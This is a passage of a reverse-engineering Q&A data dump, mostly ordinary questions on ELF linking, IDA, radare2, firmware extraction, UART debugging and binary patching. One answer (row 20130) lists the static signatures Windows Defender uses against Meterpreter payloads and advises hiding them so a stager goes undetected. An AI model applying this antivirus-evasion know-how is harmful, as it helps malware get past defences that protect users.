entries:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MPBIq.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MPBIq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;em&gt;Needed modules under Loader directives - &lt;a href=&quot;https://elfy.io/KYze4&quot; rel=&quot;noreferrer&quot;&gt;https://elfy.io/KYze4&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Dynamic link&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we are ready to discuss the wiring mechanism that lets an executable reach its dependencies &lt;b&gt;once&lt;/b&gt; they are resolved by the loader.&#xA;We will do it by following the steps of an external function call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's take a call to &lt;em&gt;__android_log_print&lt;/em&gt; as an example (ARM 32 bit).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;   1d21a:       f7fa e8e8       blx     173ec ; __android_log_print@plt&#xA;...&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above is an assembly that calls __android_log_print which prints out text to Android Logcat.&#xA;But in fact, that &lt;strong&gt;blx&lt;/strong&gt; instruction branches to a specific code-stub in a special area called &lt;strong&gt;Procedure Link Table&lt;/strong&gt; (PLT).&#xA;There's a code stub in the PLT for &lt;em&gt;every&lt;/em&gt; needed external function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's __android_log_print's stub:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;000173ec __android_log_print@plt:&#xA;   173ec:       e28fc600        add     ip, pc, #0, 12&#xA;   173f0:       e28cca11        add     ip, ip, #69632   &#xA;   173f4:       e5bcf9f4        ldr     pc, [ip, #2548]! &#xA;000173f8 sleep@plt:&#xA;   173f8:       e28fc600        add     ip, pc, #0, 12&#xA;   173fc:       e28cca11        add     ip, ip, #69632&#xA;   17400:       e5bcf9ec        ldr     pc, [ip, #2540]!&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The three instructions in the stub do the following: (pseudo code)&#xA;&lt;pre&gt;&lt;code&gt;JUMP *(GOT_ADDRESS + GOT_OFFSET_OF(__android_log_print))&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;Global Offset Table&lt;/strong&gt; (GOT) is a table of pointers.&#xA;There's a cell in the GOT for every external function.&#xA;That is, every external function has its own cell in the GOT.&#xA;Once the loading process is done, the cell of function X contains the memory address of function X.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The address computation of the right cell in the GOT is split into 3 because of&#xA;encoding limitations. eg: Large offsets can't be encoded in a &#xA;single instruction.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's the OS loader responsibility to initialize the GOT with the right memory addresses, based on the information discussed before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PLT and GOT are parts of the ELF specification.&lt;/p&gt;&#xA;" OwnerUserId="26665" LastActivityDate="2018-12-12T05:20:03.427" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20125" PostTypeId="2" ParentId="19884" CreationDate="2018-12-12T13:14:52.430" Score="4" Body="&lt;p&gt;Open BreakPoint list with &lt;code&gt;{Cntrl-Alt-B}&lt;/code&gt; then select all with &lt;code&gt;{Cntrl-A}&lt;/code&gt;, then RightClick on selection, go to &lt;code&gt;Groups-&amp;gt;Selection-&amp;gt;ExportBreakPointAsIDC...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to load them in another project go to &lt;code&gt;File-&amp;gt;ScriptFile&lt;/code&gt; and select saved idc file, then press &lt;code&gt;{Cntrl-Alt-B}&lt;/code&gt; to see loaded BreakPionts.&lt;/p&gt;&#xA;" OwnerUserId="26608" LastActivityDate="2018-12-12T13:14:52.430" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20126" PostTypeId="2" ParentId="20055" CreationDate="2018-12-12T16:46:17.687" Score="2" Body="&lt;p&gt;For this case, here I compile the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/devio/configuring-a-communications-resource&quot; rel=&quot;nofollow noreferrer&quot;&gt;MS Docs example&lt;/a&gt; in 64 bit PE binary with &lt;code&gt;gcc -ggdb&lt;/code&gt; command (or use &lt;code&gt;gcc -S&lt;/code&gt; for the assembly file). Here is the assembly section of &lt;code&gt;SetCommState&lt;/code&gt; function in Intel syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     dword ptr [rbp-44], 57600       ; dcb.BaudRate = CBR_57600&#xA;mov     byte ptr [rbp-30], 8            ; dcb.ByteSize = 8&#xA;mov     byte ptr [rbp-29], 0            ; dcb.Parity = NOPARITY&#xA;mov     byte ptr [rbp-28], 0            ; dcb.StopBits = ONESTOPBIT&#xA;lea     rdx, [rbp-48]                   ; lpDCB&#xA;mov     rax, [rbp-16]                   ; move the Handle returned by CreateFile&#xA;mov     rcx, rax                        ; hFile&#xA;mov     rax, cs:__imp_SetCommState&#xA;call    rax ; __imp_SetCommState        ; call the SetCommState function&#xA;mov     [rbp-20], eax                   ; move return 32 bit integer value to stack&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here are the general steps you may follow to find any input variable of a function:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find the imported function in the assembly (here &lt;code&gt;SetCommState&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Find or guess the &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions&quot; rel=&quot;nofollow noreferrer&quot;&gt;calling convention&lt;/a&gt; used in that function (here &lt;code&gt;__fastcall&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;If any parameter is a structure type find the stack pointer and/or base pointer offsets before the function call (here &lt;code&gt;[rbp-48]&lt;/code&gt;). It will be the first member of that structure type variable. Then follow the stack allocations one by one, you will get all the structure members which are changed/accessed (here &lt;code&gt;[rbp-48]&lt;/code&gt;, &lt;code&gt;[rbp-44]&lt;/code&gt;, &lt;code&gt;[rbp-30]&lt;/code&gt; and so on).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;To find the imported function (step #1) in x64dbg:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;load the executable in x64dbg&lt;/li&gt;&#xA;&lt;li&gt;Right click on the disassembly window &amp;gt; Search for &amp;gt; All modules &amp;gt; Intermodular calls.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qygcn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qygcn.png&quot; alt=&quot;intermodular_calls_in_x64dbg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Search the function name in search box below, here it will be &lt;code&gt;SetCommState&lt;/code&gt;. x64dbg will show the specific address. Just double click on it and you can see the specific address. See this &lt;a href=&quot;https://github.com/x64dbg/x64dbg/issues/336&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub issue&lt;/a&gt; for reference.&lt;/p&gt;&#xA;&#xA;" OwnerUserId="23069" LastEditorUserId="26628" LastEditDate="2022-02-06T11:57:08.450" LastActivityDate="2022-02-06T11:57:08.450" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20127" PostTypeId="1" CreationDate="2018-12-12T22:01:08.600" Score="4" ViewCount="1463" Body="&lt;p&gt;after struggling for days I'm asking for help with this problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to download the &lt;a href=&quot;https://www.dropbox.com/s/d5uo5j841x30d0m/newdump.bin?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;firmware&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dumped a firmware image from an EEPROM Spansion FL128SAIF00 with flashrom and a buspirate via SPI in-system extraction. Binwalk shows the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kartone@kartone-VirtualBox:~/project$ binwalk -eM newdump.bin &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;-----------------------------------------------------------------------   ---------&#xA;65536         0x10000         Broadcom 96345 firmware header, header size: 256, firmware version: &quot;68&quot;, board id: &quot;63168_FW_TW&quot;, ~CRC32 header checksum: 0x1FD327FA, ~CRC32 data checksum: 0xD3CB1AD5&#xA;1114112       0x110000        Squashfs filesystem, little endian, non-standard signature, version 4.0, compression:gzip, size: 7078804 bytes, 3030 inodes, blocksize: 65536 bytes, created: 2016-03-18 09:53:17&#xA;12189696      0xBA0000        Broadcom 96345 firmware header, header size: 256, firmware version: &quot;68&quot;, board id: &quot;63168_FW_TW&quot;, ~CRC32 header checksum: 0x968C91F8, ~CRC32 data checksum: 0x9965CD&#xA;13172736      0xC90000        Squashfs filesystem, little endian, non-standard signature, version 4.0, compression:gzip, size: 2847848 bytes, 1171 inodes, blocksize: 65536 bytes, created: 2013-12-04 12:31:36&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the extraction shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kartone@kartone-VirtualBox:~/project/_newdump.bin.extracted$ ll -R&#xA;.:&#xA;total 9,5M&#xA;drwxr-xr-x 3 kartone kartone 4,0K dic 12 22:03 .&#xA;drwxr-xr-x 3 kartone kartone 4,0K dic 12 22:21 ..&#xA;-rw-r--r-- 1 kartone kartone 6,8M dic 12 22:03 110000.squashfs&#xA;-rw-r--r-- 1 kartone kartone 2,8M dic 12 22:03 C90000.squashfs&#xA;drwxr-xr-x 2 kartone kartone 4,0K dic 12 22:03 squashfs-root&#xA;&#xA;./squashfs-root:&#xA;total 8,0K&#xA;drwxr-xr-x 2 kartone kartone 4,0K dic 12 22:03 .&#xA;drwxr-xr-x 3 kartone kartone 4,0K dic 12 22:03 ..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Binwalk is unable to extract those two squashfs filesystem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kartone@kartone-VirtualBox:~/project/_newdump.bin.extracted$ binwalk 110000.squashfs &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             Squashfs filesystem, little endian, non-standard signature, version 4.0, compression:gzip, size: 7078804 bytes, 3030 inodes, blocksize: 65536 bytes, created: 2016-03-18 09:53:17&#xA;&#xA;kartone@kartone-VirtualBox:~/project/_newdump.bin.extracted$ binwalk C90000.squashfs &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             Squashfs filesystem, little endian, non-standard signature, version 4.0, compression:gzip, size: 2847848 bytes, 1171 inodes, blocksize: 65536 bytes, created: 2013-12-04 12:31:36&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So i tried to extract with these utilities (reported from evidence 11000.squashfs but same results of the second file C90000.squashfs)  :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kartone@kartone-VirtualBox:~/project/_newdump.bin.extracted$ unsquashfs -v; unsquashfs 110000.squashfs &#xA;unsquashfs version 4.3 (2014/05/12)&#xA;copyright (C) 2014 Phillip Lougher &amp;lt;phillip@squashfs.org.uk&amp;gt;&#xA;&#xA;This program is free software; you can redistribute it and/or&#xA;modify it under the terms of the GNU General Public License&#xA;as published by the Free Software Foundation; either version 2,&#xA;or (at your option) any later version.&#xA;&#xA;This program is distributed in the hope that it will be useful,&#xA;but WITHOUT ANY WARRANTY; without even the implied warranty of&#xA;MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&#xA;GNU General Public License for more details.&#xA;Parallel unsquashfs: Using 2 processors&#xA;lzma uncompress failed with error code 9&#xA;read_block: failed to read block @0x6bea07&#xA;read_fragment_table: failed to read fragment table index&#xA;FATAL ERROR:failed to read fragment table&#xA;&#xA;&#xA;kartone@kartone-VirtualBox:~/project/_newdump.bin.extracted$ sasquatch -v; sasquatch 110000.squashfs &#xA;unsquashfs version 4.3 (2014/05/12)&#xA;copyright (C) 2014 Phillip Lougher &amp;lt;phillip@squashfs.org.uk&amp;gt;&#xA;&#xA;This program is free software; you can redistribute it and/or&#xA;modify it under the terms of the GNU General Public License&#xA;as published by the Free Software Foundation; either version 2,&#xA;or (at your option) any later version.&#xA;&#xA;This program is distributed in the hope that it will be useful,&#xA;but WITHOUT ANY WARRANTY; without even the implied warranty of&#xA;MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&#xA;GNU General Public License for more details.&#xA;SquashFS version [4.0] / inode count [3030] suggests a SquashFS image of the same endianess&#xA;Non-standard SquashFS Magic: shsq&#xA;Parallel unsquashfs: Using 1 processor&#xA;Trying to decompress using default gzip decompressor...&#xA;Trying to decompress with lzma...&#xA;Trying to decompress with lzma-adaptive...&#xA;Trying to decompress with lzma-alt...&#xA;Trying to decompress with lzma-ddwrt...&#xA;Trying to decompress with lzo...&#xA;Trying to decompress with xz...&#xA;read_block: failed to read block @0x6bea07&#xA;read_fragment_table: failed to read fragment table index&#xA;FATAL ERROR:failed to read fragment table&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sadly same results with firmware-mod-kit extracting script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kartone@kartone-VirtualBox:~/project/_newdump.bin.extracted$ sudo /opt/firmware-mod-kit/unsquashfs_all.sh 110000.squashfs &#xA;Attempting to extract SquashFS 4.X file system...&#xA;&#xA;Skipping squashfs-2.1-r2 (wrong version)...&#xA;Skipping squashfs-3.0 (wrong version)...&#xA;Skipping squashfs-3.0-lzma-damn-small-variant (wrong version)...&#xA;Skipping others/squashfs-2.0-nb4 (wrong version)...&#xA;Skipping others/squashfs-2.2-r2-7z (wrong version)...&#xA;Skipping others/squashfs-3.0-e2100 (wrong version)...&#xA;Skipping others/squashfs-3.2-r2 (wrong version)...&#xA;Skipping others/squashfs-3.2-r2-lzma (wrong version)...&#xA;Skipping others/squashfs-3.2-r2-lzma/squashfs3.2-r2/squashfs-tools (wrong version)...&#xA;Skipping others/squashfs-3.2-r2-hg612-lzma (wrong version)...&#xA;Skipping others/squashfs-3.2-r2-wnr1000 (wrong version)...&#xA;Skipping others/squashfs-3.2-r2-rtn12 (wrong version)...&#xA;Skipping others/squashfs-3.3 (wrong version)...&#xA;Skipping others/squashfs-3.3-lzma/squashfs3.3/squashfs-tools (wrong version)...&#xA;Skipping others/squashfs-3.3-grml-lzma/squashfs3.3/squashfs-tools (wrong version)...&#xA;Skipping others/squashfs-3.4-cisco (wrong version)...&#xA;Skipping others/squashfs-3.4-nb4 (wrong version)...&#xA;Skipping others/squashfs-hg55x-bin (wrong version)...&#xA;File extraction failed!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If useful, magic numbers of the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  73 68 73 71 d6 0b 00 00  0d d0 eb 56 00 00 01 00  |shsq.......V....|&#xA;00000010  96 00 00 00 01 00 10 00  c0 06 01 00 04 00 00 00  |................|&#xA;00000020  af 02 97 59 00 00 00 00  94 03 6c 00 00 00 00 00  |...Y......l.....|&#xA;00000030  8c 03 6c 00 00 00 00 00  ff ff ff ff ff ff ff ff  |..l.............|&#xA;00000040  70 1e 6b 00 00 00 00 00  05 79 6b 00 00 00 00 00  |p.k......yk.....|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help will be greatly appreciated. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="22655" LastEditorUserId="22655" LastEditDate="2018-12-12T22:21:46.207" LastActivityDate="2019-02-01T09:39:24.777" Title="Unable to unsquash from a firmware dump" Tags="|firmware|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="20130" PostTypeId="2" ParentId="19712" CreationDate="2018-12-13T21:43:07.933" Score="3" Body="&lt;p&gt;I found all the signatures by performing an Out-of-Band attack on the engine and with the help of a huge set of mutated files. Lots of reverse-engineering as well. I had to triage a lot of false positives and it required manual work, so this is still not the ideal approach, but clearly more scalable than the other suggested ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have shared some of the findings with the rapid7 team as you can see here: &lt;a href=&quot;https://github.com/rapid7/metasploit-framework/issues/10815&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/rapid7/metasploit-framework/issues/10815&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is copy-paste for compliance with this forum's rules:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you have a FUD stager and that you encode the STAGES. Windows Defender can still detect your meterpreter session because it has a kernel-land callback to detect when images are loaded into memory (like every competitive AV). This is done with PsSetLoadImageNotifyRoutine &amp;amp;co.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon these events, Windows Defender performs a scan on the memory region where the image is loaded and search for STATIC signatures (far from machine learning and behavioural analysis...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Common detected artifacts are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Constants such as strings (&quot;[*] Attempting to add user %s to group %s on domain controller %s&quot;) =&gt; such a high score that it is almost an EICAR test, although WD checks that it belongs in a file that follows the PE format.&lt;/li&gt;&#xA;&lt;li&gt;Large integer (for instance 0x6A4ABC5B in ReflectiveLoader.h, which is a rot13 hash used to locate APIs that everyone copy pasted around for years);&lt;/li&gt;&#xA;&lt;li&gt;Pieces of hard-coded shellcode (each one in base_inject.c, for instance x48\xC1\xE8\x20);&lt;/li&gt;&#xA;&lt;li&gt;DLL exports (for instance the export &quot;ReflectiveLoader&quot; is searched both by WD and Kaspersky).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some strings have a very low score but still matter in the verdict. If you have any of the elements above you will get flagged for sure, and removing the low scores ones won't have any impact. An example of such string is &quot;scheduler_insert_waitable&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, &quot;hide yo wife hide your strings&quot;...&lt;/p&gt;&#xA;" OwnerUserId="16445" LastActivityDate="2018-12-13T21:43:07.933" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20132" PostTypeId="1" AcceptedAnswerId="20136" CreationDate="2018-12-14T01:38:39.580" Score="1" ViewCount="1092" Body="&lt;p&gt;I have a big library in which IDA found ~84300 functions but using &lt;code&gt;aa&lt;/code&gt; in radare2 I was just able to found ~3000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried setting &lt;code&gt;anal.hasnext&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;, &lt;code&gt;anal.from&lt;/code&gt; and &lt;code&gt;anal.to&lt;/code&gt; to the start and the end of the .text section but with not luck&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there an optimal way to analyze all the functions using radare?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By optimal I mean avoiding xrefs or other analyzis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="25996" LastActivityDate="2018-12-15T06:34:20.703" Title="Analyze all functions with radare2" Tags="|binary-analysis|radare2|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20135" PostTypeId="1" CreationDate="2018-12-14T17:03:09.637" Score="1" ViewCount="1483" Body="&lt;p&gt;IDA disassembled an x86-64 instruction as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000000761                 lea     rdx, ds:0[rax*4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I know is, segment registers are only relevant in in segmented memory model, while in case of paging they hold an index in GDT/LDT. Why is the above instruction, out of nowhere, referring to the &lt;code&gt;ds&lt;/code&gt; segment register?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="13634" LastEditDate="2018-12-14T18:47:42.100" LastActivityDate="2021-02-21T19:23:48.307" Title="How is DS register interpreted in x86-64 assembly instructions?" Tags="|ida|disassembly|segmentation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20136" PostTypeId="2" ParentId="20132" CreationDate="2018-12-15T06:34:20.703" Score="1" Body="&lt;p&gt;To see the help of analysis you can use &lt;code&gt;aa?&lt;/code&gt;. For a more detailed information i would always suggest visiting the sourcecode as a lot of &lt;code&gt;aa&lt;/code&gt; commands are combinations of different steps. A good starting point is at &lt;code&gt;libr/core/cmd_anal.c&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;aab&lt;/code&gt; instead is a total different approach and can create a lot of false positives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also give &lt;code&gt;aaa&lt;/code&gt; a try but i assume that will take some time to finish.&lt;/p&gt;&#xA;" OwnerUserId="2772" LastActivityDate="2018-12-15T06:34:20.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20141" PostTypeId="1" CreationDate="2018-12-15T20:45:58.750" Score="3" ViewCount="268" Body="&lt;p&gt;I am trying to make some changes to the setup program that installs the game &quot;Emperor: Battle for Dune&quot;. If you want to look at the EXE I am working on, you can download a copy of this setup program from the official Install Fix patch here: &lt;a href=&quot;http://dune2k.com/Duniverse/Games/Emperor/Downloads/Patches&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dune2k.com/Duniverse/Games/Emperor/Downloads/Patches&lt;/a&gt; (download the &quot;Install Fix:&quot; entry and it is Setup.exe).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason, the developers decided to make the installer a fullscreen application and so I am trying to modify it to instead run in a window. It uses the DirectDraw API (not entirely sure what version but I think it is 7 or 8). Thus, I know that the function &quot;SetCooperativeLevel&quot; (&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/ddraw/nf-ddraw-idirectdraw7-setcooperativelevel&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/windows/desktop/api/ddraw/nf-ddraw-idirectdraw7-setcooperativelevel&lt;/a&gt;) is used to initialize the DDraw application in fullscreen or windowed mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I tried to disassemble the EXE using both IDA Pro 7.0 and OllyDbg 2.01 but neither of them have been able to find any calls to that function. Can anyone tell me if there is anything I can do to help one of these programs find this call? Alternatively, is it possible for a DDraw program to go into fullscreen mode without the SetCooperativeLevel function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I attempted to use Defragger's suggestion below. Unfortunately, it didn't work. I modified the code he pointed out as per below to simply change the dimensions to 800x600 but it did not change anything. The window is still in fullscreen and doesn't appear different at all:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004619BF                 mov     esi, ds:GetSystemMetrics&#xA;.text:004619C5                 push    258h            ; yBottom&#xA;.text:004619CA                 push    320h            ; xRight&#xA;.text:004619CF                 push    0               ; yTop&#xA;.text:004619D1                 push    0               ; xLeft&#xA;.text:004619D3                 push    offset Rect     ; lprc&#xA;.text:004619D8                 call    ds:SetRect&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found that I could only modify the &quot;yBottom&quot; and &quot;xRight&quot; parameters safely. If I modified &quot;yTop&quot; or &quot;xLeft&quot;, the program crashed.&lt;/p&gt;&#xA;" OwnerUserId="18565" LastEditorUserId="18565" LastEditDate="2018-12-22T22:53:36.507" LastActivityDate="2018-12-23T14:31:50.130" Title="Can't find SetCooperativeLevel call in disassembled program" Tags="|ida|disassembly|ollydbg|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20142" PostTypeId="1" CreationDate="2018-12-15T21:23:32.807" Score="2" ViewCount="540" Body="&lt;p&gt;I have a modem that I'm trying to get into. It's composed of two SoCs, both with UART headers. I was already successful trying to connect to the first SoC's UART, with my USB-to-UART CP2102 decoder chip happily both sending and receiving bytes at 115200bps 8N1, being dropped at a Busybox shell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hadn't had the same luck with the second SoC. It has the exact same physical header, and judging by the signal on the oscilloscope it seems to be the same kind of UART as the first one, that I can even decode some bytes manually, but the CP2102 seems unable to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can see the first four bytes sent on the TX line immediately when the board is powered on with a manual decoding, inferring that the signal is indeed UART with 0-3.3V levels, 115200bps (8.0 microseconds per bit), one stop bit and no parity bits:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qwBu3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qwBu3.png&quot; alt=&quot;Manual decoding of UART signal from oscilloscope&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If my assumptions are right, the first four bytes are an ASCII &quot;HELO&quot;. Superimposed on the image there's my manual decoding. B is the Start Bit, E is the Stop Bit, and I'm assuming the least significant bit comes first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some variations on the encoding settings have already been tried, like setting odd and even parity, using one or two stop bits, and even using a speed immediately above or below. The terminal, however, still shows nothing. I know that the decoder is working because it's happily receiving data when connected to the first SoC, but it does not decode anything from the second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I disabled both hardware flow control lines and software flow control signals on the decoder, and I'm failing to see anything else that might be wrong, except some minor timing issues: the baud seems to have 8.6~8 microseconds instead of 8.0. However, I think that's still within the error margin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The SoC in question is a Broadcom BCM68380, which someone already posted the bootlog on the internet and indeed it shows the same first four bytes: &lt;a href=&quot;https://www.tripleoxygen.net/wiki/modem/rtf3505vw-gv&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.tripleoxygen.net/wiki/modem/rtf3505vw-gv&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could I be missing here? Why can't I decode this?&lt;/p&gt;&#xA;" OwnerUserId="20174" LastEditorUserId="20174" LastEditDate="2018-12-15T23:47:03.093" LastActivityDate="2018-12-15T23:47:03.093" Title="Why can't I decode this UART signal?" Tags="|binary-analysis|serial-communication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20143" PostTypeId="2" ParentId="20142" CreationDate="2018-12-15T22:43:22.110" Score="3" Body="&lt;p&gt;Answering my own question: just figured out that the board that the CP2102 decoder was mounted on had a LED wired to the RXD line. It happens that this board was poorly designed, and this LED was set to lit when the line was brought to LOW, and therefore the other pole of the LED was connected to the Vcc line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The LED was then acting essentially as a pull-up resistor, and this second SoC had a very low sink current (unlike the first one), therefore rendering the LOW level &quot;weak&quot;. Measuring the line level with a 10 MegaOhm probe showed that just with the probe load it was able to reach very close to 0V, but the line only got to 1.56V when it had the CP2102 plus the LED connected to it. Henceforth, the decoder chip was unable to detect this level as LOW, consequently unable to decode anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing the LED from the board fixed the issue. A careful design of the decoder board should have included a buffer FET between the LED and the RXD line. I don't remember where I bought the board, and it has no model/brand on it, so here's a reference photo:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yj2HO.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yj2HO.jpg&quot; alt=&quot;Photo of the CP2102 board with the culprit LED highlighted&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20174" LastEditorUserId="20174" LastEditDate="2018-12-15T23:38:12.153" LastActivityDate="2018-12-15T23:38:12.153" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20144" PostTypeId="1" CreationDate="2018-12-15T23:26:37.587" Score="1" ViewCount="169" Body="&lt;p&gt;According to &lt;a href=&quot;https://googleprojectzero.blogspot.com/2018/12/adventures-in-video-conferencing-part-4.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this post&lt;/a&gt; it is possible to run functions inside a shared library &lt;strong&gt;so long as they do not have a dependency on the JVM&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It works by patching the .dynamic ELF section to remove unnecessary dependencies by replacing DT_NEEDED tags with DT_DEBUG tags. We also needed to remove constructors and deconstructors by changing the DT_FINI_ARRAYSZ and DT_INIT_ARRAYSZ to zero.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So how could this be implemented?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="25996" LastActivityDate="2018-12-15T23:26:37.587" Title="How to patch JNI library to call functions on Linux" Tags="|android|patching|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
